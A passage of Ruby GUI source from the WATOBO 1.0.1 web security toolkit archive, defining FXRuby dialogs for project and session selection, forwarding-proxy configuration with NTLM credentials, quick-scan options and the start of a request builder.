LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE, :padding => 0) @projectList = FXList.new(projectListOuterFrame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @projectList.numVisible = 14 @projectList.connect(SEL_COMMAND, method(:onProjectSelect)) @projectList.connect(SEL_DOUBLECLICKED, method(:openProject)) # # SECOND WIZZARD FRAME # step_two_frame = FXVerticalFrame.new(@switcher, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @projectCaption = FXLabel.new(step_two_frame, "Project: - unknown -", :opts => LAYOUT_FILL_X|JUSTIFY_LEFT) @projectCaption.setFont(FXFont.new(getApp(), "helvetica", 14, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT)) # SESSION SELECTION sessionSelectionFrame = FXGroupBox.new(step_two_frame, "Select Session", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) sessionSubSelection = FXVerticalFrame.new(sessionSelectionFrame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) newSessionFrame = FXHorizontalFrame.new(sessionSubSelection, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) FXLabel.new(newSessionFrame, "Session Name:" ) @sessionTextField = FXTextField.new(newSessionFrame, 25, :target => @new_session_name, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT) @newSessionButton = FXButton.new(newSessionFrame, "New" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @new_session_name.connect(SEL_COMMAND, method(:createSession)) @newSessionButton.connect(SEL_COMMAND, method(:createSession)) sessionListOuterFrame = FXVerticalFrame.new(sessionSubSelection, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE, :padding => 0) @sessionList = FXList.new(sessionListOuterFrame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @sessionList.numVisible = 14 @sessionList.connect(SEL_COMMAND, method(:onSessionSelect)) @sessionList.connect(SEL_DOUBLECLICKED, method(:openSession)) #updateSessionList(@project_dir) # # BUTTONS FRAME # buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @finishButton = FXButton.new(buttons_frame, "Finish" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.disable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @nextButton = FXButton.new(buttons_frame, "Next" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @nextButton.disable @nextButton.connect(SEL_COMMAND) do |sender, sel, item| if @switcher.current < @switcher.numChildren-1 @switcher.current = @switcher.current+1 @backButton.enable @nextButton.disable if @switcher.current == @switcher.numChildren-1 end setButtons(@switcher.current) end @backButton = FXButton.new(buttons_frame, "Back" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @backButton.disable @backButton.connect(SEL_COMMAND) do |sender, sel, item| if @switcher.current > 0 @switcher.current = @switcher.current-1 @backButton.disable if @switcher.current == 0 end setButtons(@switcher.current) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) updateProjectList(@workspace_dt.value) # apply setting end end end end watobo-1.0.1/lib/watobo/gui/proxy_dialog.rb000077500000000000000000000500031366346341400206710ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class AddProxyDialog < FXDialogBox include Responder include Watobo::Constants def getProxySettings s = { :name => @proxy_name_dt.value, :port => @proxy_port_dt.value, :host => @proxy_dt.value, :target_pattern => @pattern_dt.value, :enabled => true } c = { :username => @username_dt.value, :password => @password_dt.value, :workstation => @workstation_dt.value, :domain => @domain_dt.value, :auth_type => @auth_type } puts "* auth_type" puts c[:auth_type] if @auth_types_cb.currentItem > 0 and c[:username] != "" and c[:password] != "" s.update c end return s end def savePasswords?() return false # @save_pws_cbt.checked? end def onAccept(sender, sel, event) if @proxy_dt.value != "" then begin proxy_ip = IPSocket.getaddress(@proxy_dt.value) rescue FXMessageBox.information(self, MBOX_OK, "Wrong Host", "Could not resolve hostname #{@proxy_dt.value}") return 0 end else FXMessageBox.information(self, MBOX_OK, "No Proxy", "You need to set the proxy host") return 0 end unless @proxy_port_dt.value =~ /^\d{1,5}$/ then FXMessageBox.information(self, MBOX_OK, "Wrong Format", "Port format is wrong (e.g. 8080") return 0 end if @auth_type != AUTH_TYPE_NONE unless @password_dt.value == @password_rt_dt.value then FXMessageBox.information(self, MBOX_OK, "Password Missmatch", "Passwords don't match!") return 0 end unless @password_dt.value != '' FXMessageBox.information(self, MBOX_OK, "No Password!", "You need a password!") return 0 end end if @proxy_name_dt.value == "" FXMessageBox.information(self, MBOX_OK, "Proxy Name Missing", "You need to set a name for the new proxy (e.g. myproxy)") return 0 end # @password_policy[:save_passwords] = @save_pws_cbt.checked? # puts @password_policy.to_yaml getApp().stopModal(self, 1) self.hide() return 1 end def initialize(owner, proxy=nil) super(owner, "Proxy Settings", :opts => DECOR_TITLE|DECOR_BORDER) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) @proxy_name_dt = FXDataTarget.new('') @proxy_port_dt = FXDataTarget.new('') @proxy_dt = FXDataTarget.new('') @pattern_dt = FXDataTarget.new('') @username_dt = FXDataTarget.new('') @password_dt = FXDataTarget.new('') @password_rt_dt = FXDataTarget.new('') @workstation_dt = FXDataTarget.new('') @domain_dt = FXDataTarget.new('') @auth_type_dt = FXDataTarget.new(AUTH_TYPE_NTLM) unless proxy.nil? begin puts proxy.to_yaml @proxy_name_dt.value = proxy[:name] @proxy_port_dt.value = proxy[:port] @proxy_dt.value = proxy[:host] @pattern_dt.value = proxy[:target_pattern] @username_dt.value = proxy[:username] if proxy.has_key? :username @password_dt.value = proxy[:password] if proxy.has_key? :password @password_rt_dt.value = proxy[:password] if proxy.has_key? :password @workstation_dt.value = proxy[:workstation] if proxy.has_key? :workstation @domain_dt.value = proxy[:domain] if proxy.has_key? :domain @auth_type_dt.value = proxy[:auth_type] if proxy.has_key? :auth_type rescue => bang puts bang end end # @password_policy = Hash.new # @password_policy.update password_policy main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) matrix = FXMatrix.new(main, 2, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) FXLabel.new(matrix, "Name:", nil, :opts => LAYOUT_TOP|JUSTIFY_RIGHT) proxy_name = FXTextField.new(matrix, 25, :target => @proxy_name_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) proxy_name.handle(self, FXSEL(SEL_UPDATE, 0), nil) FXLabel.new(matrix, "Hostname/IP:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) hostname = FXTextField.new(matrix, 25, :target => @proxy_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) hostname.handle(self, FXSEL(SEL_UPDATE, 0), nil) FXLabel.new(matrix, "Port:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) port = FXTextField.new(matrix, 25, :target => @proxy_port_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) port.handle(self, FXSEL(SEL_UPDATE, 0), nil) FXLabel.new(matrix, "Pattern:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) pattern = FXTextField.new(matrix, 25, :target => @pattern_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) pattern.handle(self, FXSEL(SEL_UPDATE, 0), nil) FXLabel.new(matrix, "Auth-Type:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) @auth_types_cb = FXComboBox.new(matrix, 5, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) #@filterCombo.width =200 auth_types = ['None', 'NTLM'] @auth_types_cb.numVisible = auth_types.length @auth_types_cb.numColumns = 25 @auth_types_cb.editable = false auth_types.each do |at| @auth_types_cb.appendItem(at, nil) end @auth_types_cb.setCurrentItem(0) unless proxy.nil? if proxy.has_key?(:auth_type) case proxy[:auth_type] when AUTH_TYPE_NTLM @auth_types_cb.setCurrentItem(1) end end end @auth_types_cb.connect(SEL_COMMAND){ updateCredFrame() } @credentials_frame = FXMatrix.new(main, 2, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) FXLabel.new(@credentials_frame, "Username:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) username = FXTextField.new(@credentials_frame, 25, :target => @username_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) username.handle(self, FXSEL(SEL_UPDATE, 0), nil) FXLabel.new(@credentials_frame, "Password:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) password = FXTextField.new(@credentials_frame, 25, :target => @password_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|TEXTFIELD_PASSWD) password.handle(self, FXSEL(SEL_UPDATE, 0), nil) FXLabel.new(@credentials_frame, "Password(retype):", nil, LAYOUT_TOP|JUSTIFY_RIGHT) password = FXTextField.new(@credentials_frame, 25, :target => @password_rt_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT|TEXTFIELD_PASSWD) password.handle(self, FXSEL(SEL_UPDATE, 0), nil) FXLabel.new(@credentials_frame, "Workstation:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) workstation = FXTextField.new(@credentials_frame, 25, :target => @workstation_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) workstation.handle(self, FXSEL(SEL_UPDATE, 0), nil) FXLabel.new(@credentials_frame, "Domain:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) domain = FXTextField.new(@credentials_frame, 25, :target => @domain_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_RIGHT) domain.handle(self, FXSEL(SEL_UPDATE, 0), nil) # frame = FXVerticalFrame.new(main, :opts => LAYOUT_FILL_X) # @save_pws_cbt = FXCheckButton.new(frame, "save passwords") # @save_pws_cbt.checkState = false # @save_pws_cbt.checkState = true if password_policy[:save_passwords] == true # note_label = FXLabel.new(frame, "This setting affects all passwords!!!") buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) accept = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) accept.enable # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) updateCredFrame() end private def updateCredFrame() ci = @auth_types_cb.currentItem @auth_type = case ci when 0 AUTH_TYPE_NONE when 1 AUTH_TYPE_NTLM else AUTH_TYPE_NONE end @credentials_frame.each_child do |c| if c.is_a? FXTextField if ci > 0 c.backColor = FXColor::White c.enable else c.backColor = c.parent.backColor c.disable end end end end end class ProxyDialog < FXDialogBox #TODO: Implement Connection Check!! attr_accessor :proxy include Responder def switchEnableProxy() @proxyTable.show() @newProxyButton.enable selectProxy(@proxy) @acceptBtn.disable refreshProxyList() @proxySelectionFrame.enable #@proxy_prelabel.enable #@proxy_label.enable end def refreshProxyList @proxyTable.clearItems(false) @proxyTable.setTableSize(0, 4) @proxyTable.setColumnText(0, "Name" ) @proxyTable.setColumnText(1, "Proxy" ) @proxyTable.setColumnText(2, "Pattern" ) @proxyTable.setColumnText(3, "Enabled" ) return if @proxy_list.nil? @proxy_list.each_key do |proxy| puts "* addProxyItem #{proxy}" addProxyItem(@proxy_list[proxy]) end end def getProxyPrefs() # @proxy_list[:default_proxy] = @proxy.nil? ? '' : @proxy[:name] @proxy_list end def onAccept(sender, sel, event) # @settings[:proxies] = proxies @proxy_list = Hash.new lastRowIndex = @proxyTable.numRows lastRowIndex.times do |i| proxy = @proxyTable.getItemData(i,0) # puts proxy.to_yaml @proxy_list[proxy[:name]] = proxy end # @password_policy[:save_passwords] = @save_passwords getApp().stopModal(self, 1) self.hide() return 1 end def onCancel(sender, sel, event) getApp().stopModal(self, 0) self.hide() return 1 end def addProxy(proxy=nil) pdlg = AddProxyDialog.new(self, proxy) if pdlg.execute != 0 @acceptBtn.enable @acceptBtn.setFocus() @acceptBtn.setDefault() last = @proxyTable.getNumRows @proxy = pdlg.getProxySettings @save_passwords = pdlg.savePasswords? @proxy_list[@proxy[:name]] = @proxy addProxyItem( @proxy ) lastRowIndex = @proxyTable.numRows last = -1 lastRowIndex.times do |i| if @proxyTable.getItemText(i, 0) == @proxy[:name] then last = i break end end return -1 if last == -1 @proxyTable.selectRow(last) @proxyTable.makePositionVisible(last,0) # @proxy_label.text = @proxy[:name] end end def delProxy(sender, sel, event) row = @proxyTable.getCurrentRow # puts row if row >= 0 and @proxyTable.rowSelected?(row) then p = @proxyTable.getItem(row,1).to_s #puts @proxy.class.to_s # puts "delete: #{proxy}" @proxy = '' @proxyTable.removeRows(row,1) @proxyTable.killSelection(true) @delProxyButton.disable #@acceptBtn.disable # @proxy_label.text = '' end end def editProxy() row = @proxyTable.getCurrentRow puts row if row >= 0 and @proxyTable.rowSelected?(row) then #p = @proxyTable.getItem(row,1).to_s proxy = @proxyTable.getItemData(row,0) addProxy(proxy) end end def onProxySelect(sender, sel, index) row = sender.getCurrentRow if row >= 0 then @proxyTable.selectRow(row) @proxy = @proxyTable.getItemData(row,0) #@proxy_label.text = @proxy[:name] @delProxyButton.enable @editProxyButton.enable @acceptBtn.enable @acceptBtn.setFocus() @acceptBtn.setDefault() end end def selectProxy(proxy={}) @editProxyButton.disable @delProxyButton.disable @proxyTable.killSelection(true) # @proxy_label.text = "- none -" @proxy = nil return false if proxy.nil? return false unless proxy[:name] proxy_name = proxy[:name] i = 0 @proxyTable.each do |items| if items[0].to_s == proxy_name puts "* match #{proxy_name}" @proxyTable.selectRow(i) @proxyTable.setCurrentItem(i,0) @proxyTable.makePositionVisible(i,0) @proxy = @proxyTable.getItemData(i,0) # puts @proxy #@proxy_label.text = proxy_name @delProxyButton.enable end i += 1 end unless @proxy.nil? @editProxyButton.enable @delProxyButton.enable end end def addProxyItem(proxy) # puts proxy.to_yaml lastRowIndex = @proxyTable.numRows siteIndex = -1 lastRowIndex.times do |i| if @proxyTable.getItemText(i, 0) == proxy[:name] then siteIndex = i lastRowIndex = i break end end @proxyTable.appendRows(1) if siteIndex < 0 @proxyTable.rowHeader.setItemJustify(lastRowIndex,FXTableItem::LEFT) @proxyTable.setItemText(lastRowIndex, 0, proxy[:name]) @proxyTable.getItem(lastRowIndex,0).justify = FXTableItem::LEFT @proxyTable.setItemText(lastRowIndex, 1, proxy[:host] + ":" + proxy[:port]) @proxyTable.setItemData(lastRowIndex, 0, proxy) @proxyTable.getItem(lastRowIndex,1).justify = FXTableItem::LEFT @proxyTable.setItemText(lastRowIndex, 2, proxy[:target_pattern]) #@proxyTable.setItemData(lastRowIndex, 0, proxy) @proxyTable.getItem(lastRowIndex,2).justify = FXTableItem::LEFT enabled = proxy[:enabled] ? "True" : "False" @proxyTable.setItemText(lastRowIndex, 3, enabled) #@proxyTable.setItemData(lastRowIndex, 0, proxy) @proxyTable.getItem(lastRowIndex,3).justify = FXTableItem::LEFT end def initialize(owner) super(owner, "Use Proxy", :opts => DECOR_ALL, :width => 450, :height => 400) @new_proxy = FXDataTarget.new('') @save_passwords = false @proxy_settings = Hash.new @proxy_settings.update(Watobo::Conf::ForwardingProxy.to_h) # @password_policy = password_policy @proxy = nil pname = @proxy_settings[:default_proxy] @proxy_settings ||= {} if @proxy_settings.has_key? pname @proxy = @proxy_settings[pname] end @proxy_list = {} @proxy_list.update YAML.load(YAML.dump(@proxy_settings)) @proxy_list.delete(:default_proxy) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) FXMAPFUNC(SEL_COMMAND, ID_CANCEL, :onCancel) # current_proxy_frame = FXHorizontalFrame.new(self,FRAME_NONE|LAYOUT_FILL_X|FRAME_GROOVE) # FXLabel.new(current_proxy_frame, "Current Proxy:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) # @cp_label = FXLabel.new(current_proxy_frame, "- none -", nil, LAYOUT_TOP|JUSTIFY_RIGHT) main_frame = FXVerticalFrame.new(self, :opts => FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y) enable_proxy_frame = FXHorizontalFrame.new(main_frame,FRAME_NONE|LAYOUT_FILL_X|LAYOUT_FILL_Y) # @proxyEnableCheckButton = FXCheckButton.new(enable_proxy_frame, "enable forwarding proxy", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) FXLabel.new(enable_proxy_frame, "Right click row for enabling/disabling proxy.") # @proxyEnableCheckButton.connect(SEL_COMMAND) do |sender, sel, item| # switchEnableProxy() # end @proxySelectionFrame = FXGroupBox.new(main_frame, "Select Forwarding Proxy", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) proxySubSelection = FXVerticalFrame.new(@proxySelectionFrame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) @proxyTable = FXTable.new(proxySubSelection, :opts => TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY, :padding => 2) @proxyTable.setTableSize(0, 4) @proxyTable.connect(SEL_COMMAND, method(:onProxySelect)) @proxyTable.connect(SEL_SELECTED, method(:onProxySelect)) @proxyTable.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| unless event.moved? # row = sender.getCurrentRow ypos = event.click_y row = @proxyTable.rowAtY(ypos) # puts "right click on row #{row} of #{@chatTable.numRows}" if row >= 0 and row < @proxyTable.numRows then proxy = @proxyTable.getItemData(row,0) @proxyTable.selectRow(row, false) FXMenuPane.new(self) do |menu_pane| target = FXMenuCheck.new(menu_pane, "Enabled" ) target.check = proxy.has_key?(:enabled) ? proxy[:enabled] : false target.connect(SEL_COMMAND) { proxy[:enabled] = target.checked?() refreshProxyList } menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end end @proxyTable.rowHeaderWidth = 0 @proxyTable.rowHeaderMode = LAYOUT_FIX_WIDTH @proxyTable.visibleRows = 5 @proxyTable.setColumnText(0, "Name" ) @proxyTable.setColumnText(1, "Proxy" ) buttons_frame = FXHorizontalFrame.new( proxySubSelection, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @newProxyButton = FXButton.new(buttons_frame, "Add" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @newProxyButton.connect(SEL_COMMAND){ addProxy() } @editProxyButton = FXButton.new(buttons_frame, "Edit" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @editProxyButton.connect(SEL_COMMAND) { editProxy() } @editProxyButton.disable @delProxyButton = FXButton.new(buttons_frame, "Delete" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @delProxyButton.connect(SEL_COMMAND, method(:delProxy)) @delProxyButton.disable # selection_frame = FXHorizontalFrame.new(main_frame,FRAME_NONE|LAYOUT_FILL_X) # @proxy_prelabel = FXLabel.new(selection_frame, "Selected Proxy:", nil, LAYOUT_TOP|JUSTIFY_RIGHT) # @proxy_label = FXLabel.new(selection_frame, "- none -", nil, LAYOUT_TOP|JUSTIFY_RIGHT) buttons = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) # Accept @acceptBtn = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) @acceptBtn.enable # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) #@proxyEnableCheckButton.setCheck(false, false) #@proxyEnableCheckButton.setCheck(true, false) unless @proxy.nil? refreshProxyList() switchEnableProxy() unless @proxy.nil? @cp_label.text = @proxy[:name] selectProxy(@proxy) end end end end end watobo-1.0.1/lib/watobo/gui/quick_scan_dialog.rb000066400000000000000000000215421366346341400216330ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class QuickScanOptionsFrame < FXVerticalFrame def options() csrf_requests = Watobo::OTTCache.requests(@target_chat) egress_handler = @egress_chk.checked? ? @egress_handlers.getItem(@egress_handlers.currentItem) : '' o = Hash.new o[:enable_logging] = @logScanChats.checked? o[:scanlog_name] = @scanlog_name_dt.value o[:csrf_tokens] = @csrf_patterns o[:csrf_request_ids] = @csrf_ids o[:csrf_requests] = csrf_requests o[:update_csrf_tokens] = @csrfToken.checked? o[:use_orig_request] = @useOriginalRequest.checked? o[:detect_logout] = @detectLogout.checked? o[:follow_redirect] = @followRedirects.checked? o[:egress_handler] = egress_handler puts o.to_yaml if $DEBUG o end def initialize(owner, prefs = {} ) super(owner, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @csrf_ids = [] @csrf_patterns = [] @target_chat = prefs[:target_chat] # scan_opt_frame= FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @useOriginalRequest = FXCheckButton.new(self, "Use original request", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @useOriginalRequest.checkState = true @followRedirects = FXCheckButton.new(self, "Follow redirects", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @followRedirects.checkState = false @detectLogout = FXCheckButton.new(self, "Autom. login when logged out", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @detectLogout.checkState = false frame = FXGroupBox.new(self, "Logging", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) @logScanChats = FXCheckButton.new(frame, "Log Scan", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @logScanChats.checkState = false @logScanChats.connect(SEL_COMMAND) do |sender, sel, item| if @logScanChats.checked? then @scanlog_name_text.enabled = true @scanlog_dir_label.enabled = true # @scanlog_dir_btn.enable else @scanlog_name_text.enabled = false @scanlog_dir_label.enabled = false # @scanlog_dir_btn.disable end end @scanlog_name_dt = FXDataTarget.new('') # @scanlog_name_dt.value = @project.scanLogDirectory() if File.exist?(@project.scanLogDirectory()) @scanlog_dir_label = FXLabel.new(frame, "Scan-Name:" ) scanlog_frame = FXHorizontalFrame.new(frame,:opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @scanlog_name_text = FXTextField.new(scanlog_frame, 20, :target => @scanlog_name_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN|LAYOUT_FILL_X) @scanlog_name_text.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @scanlog_dir_btn = FXButton.new(scanlog_frame, "Change") # @scanlog_dir_btn.connect(SEL_COMMAND, method(:selectScanlogDirectory)) @scanlog_name_text.enabled = false @scanlog_dir_label.enabled = false # @scanlog_dir_btn.disable frame = FXGroupBox.new(self, "One-Time-Token Settings", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) csrf_frame = FXHorizontalFrame.new(frame,:opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP, :padding => 0) @csrfToken = FXCheckButton.new(csrf_frame, "Update One-Time-Tokens", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@csrfToken.checkState = false @csrfToken.checkState = prefs.has_key?(:enable_one_time_tokens) ? prefs[:enable_one_time_tokens] : false @csrfToken.connect(SEL_COMMAND) do |sender, sel, item| if @csrfToken.checked? then @csrf_dialog_btn.enable else @csrf_dialog_btn.disable end end @csrf_dialog_btn = FXButton.new(csrf_frame, "O-T-T Settings") @csrf_dialog_btn.connect(SEL_COMMAND, method(:openCSRFTokenDialog)) # @csrf_dialog_text.enabled = false # @csrf_dialog_label.enabled = false @csrf_dialog_btn.disable @csrf_dialog_btn.enable if @csrfToken.checked? # # Egress Settings frame = FXGroupBox.new(self, "Use Egress Handler", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) egress_frame = FXHorizontalFrame.new(frame,:opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP, :padding => 0) @egress_chk = FXCheckButton.new(egress_frame, "Egress", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@csrfToken.checkState = false @egress_chk.checkState = prefs.has_key?(:egress_handler) && !prefs[:egress_handler].empty? @egress_handlers = FXComboBox.new(egress_frame, 5, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP) @egress_handlers.clearItems @egress_chk.disable @egress_handlers.disable if Watobo::EgressHandlers.length > 0 @egress_chk.enable @egress_handlers.enable #@egress_btn.enable Watobo::EgressHandlers.list {|h| @egress_handlers.appendItem(h.to_s, nil) } end end private def openCSRFTokenDialog(sender, sel, item) csrf_dlg = CSRFTokenDialog.new(self, @target_chat) if csrf_dlg.execute != 0 then @csrf_ids = csrf_dlg.getTokenScriptIds() @csrf_patterns = csrf_dlg.getTokenPatterns() Watobo.project.setCSRFRequest(@target_chat.request, @csrf_ids, @csrf_patterns) end end def selectScanlogDirectory(sender, sel, item) workspace_dt = FXFileDialog.getOpenDirectory(self, "Select Scanlog Directory", @scanlog_name_dt.value) if workspace_dt != "" then if File.exist?(workspace_dt) then @scanlog_name_dt.value = workspace_dt @scanlog_name_text.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end end end class QuickScanDialog < FXDialogBox include Responder attr :active_policy attr :selectedModules attr :options def initialize(parent, prefs={} ) super(parent, "Quick Scan", DECOR_ALL, :width => 300, :height => 400) # @active_policy = 'Default' @selectedModules = [] FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @switcher = FXSwitcher.new(base_frame, LAYOUT_FILL_X|LAYOUT_FILL_Y) @quickScanOptionsFrame = QuickScanOptionsFrame.new(@switcher, prefs) #@quickScanOptionsFrame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) # @policyFrame = ChecksPolicyFrame.new(@switcher, project.active_checks, project.settings[:policy]) @policyFrame = ChecksPolicyFrame.new(@switcher) #@policyFrame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) # BUTTONS buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X) @startButton = FXButton.new(buttons_frame, "Start" , :target => self, :selector => FXDialogBox::ID_ACCEPT, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @startButton.disable @nextButton = FXButton.new(buttons_frame, "Next" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @nextButton.enable @nextButton.connect(SEL_COMMAND) do |sender, sel, item| if @switcher.current < @switcher.numChildren - 1 @switcher.current = @switcher.current + 1 end setButtons(@switcher.current) end @backButton = FXButton.new(buttons_frame, "Back" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @backButton.disable @backButton.connect(SEL_COMMAND) do |sender, sel, item| if @switcher.current > 0 @switcher.current = @switcher.current-1 end setButtons(@switcher.current) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) #@filterCombo.appendItem("ohne Filter", nil) end private def onAccept(sender, sel, event) # @selectedPolicy = @policyFrame.policy_name @options = @quickScanOptionsFrame.options @selectedModules = @policyFrame.getSelectedModules() getApp().stopModal(self, 1) self.hide() 1 end def setButtons(index) case index when 0 @nextButton.enable @backButton.disable @startButton.disable when 1 # select session screen @nextButton.disable @backButton.enable @startButton.enable end end end end end watobo-1.0.1/lib/watobo/gui/request_builder_frame.rb000066400000000000000000000062171366346341400225460ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class RequestBuilder < FXVerticalFrame def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listener[event].clear end def setRequest(raw_request) begin # request if raw_request.is_a? String request = Watobo::Utils.text2request(raw_request) else 